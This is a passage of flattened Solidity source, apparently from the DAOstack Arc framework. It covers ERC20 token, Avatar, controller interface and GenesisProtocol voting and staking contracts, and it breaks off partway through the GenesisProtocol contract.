function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _params, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call(_data);
emit GenericCall(_contract, _data, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function updateParameters(bytes32 _hashedParameters) public;
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is Ownable, UniversalSchemeInterface {
bytes32 public hashedParameters;
function updateParameters(
bytes32 _hashedParameters
)
public
onlyOwner
{
hashedParameters = _hashedParameters;
}
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
